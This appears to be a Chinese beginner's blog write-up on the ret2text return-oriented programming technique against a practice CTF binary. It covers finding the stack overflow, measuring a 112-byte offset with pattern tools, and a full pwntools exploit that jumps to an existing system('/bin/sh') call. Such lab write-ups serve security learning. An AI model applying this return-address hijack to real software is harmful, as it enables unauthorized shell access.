1. 程式人生 > >基本ROP(一)

基本ROP(一)

每日一結【第1天】

友情連結:

ret2text

原理:
ret2text即需要我們控制程式執行程式本身已有的的程式碼(.text)。其實,這種攻擊方法是一種籠統的描述。我們控制執行程式已有的程式碼的時候也可以控制程式執行好幾段不相鄰的程式已有的程式碼(也就是gadgets),這就是我們所要說的rop。

這時,我們需要知道對應返回的程式碼的位置。當然程式也可能會開啟某些保護,我們需要想辦法去繞過這些保護。

樣例:ret2text

先執行一下程式,發現只是讓輸入一串字串
這裡寫圖片描述
file指令檢視,發現是32位程式,gdb除錯,檢視保護機制
這裡寫圖片描述

使用IDA Pro分析一波,發現這個地方是存在棧溢位漏洞的

這裡寫圖片描述

然後我們又會發現secure函式裡存在system(“/bin/sh”)
這裡寫圖片描述

那我們的目標就是控制程式直接跳到0x0804863A處從而拿到shell,接下來就開始構造payload
個人比較喜歡使用pattern來確定偏移量
pattern create 150用來生成一段長150個位元組的字串
這裡寫圖片描述
pattern offset $ebp用來確定輸入的字串第一個位元組與ebp的距離,這裡我們看到顯示的是108,但是我們要覆蓋掉ebp,這樣才能覆蓋ret地址,所以這段長度應該是112(也可以使用 pattern offset 0x41384141直接得到112,但是64位程式不能這樣,具體原理我還不是很理解)
這裡寫圖片描述

現在開始構造payload
payload = ‘A’ * 112 + p32(target_addr)

exp:

from pwn import *

r = process('./ret2text')

system_addr = 0x0804863A
payload = 'A'*112 + p32(system_addr)

r.recvuntil('There is something amazing here, do you know anything?')
r.sendline(payload)

r.interactive()

執行之後
這裡寫圖片描述

就這樣~~挺簡單的一個程式,但是真正完全理解其中的道理還是需要一定時間的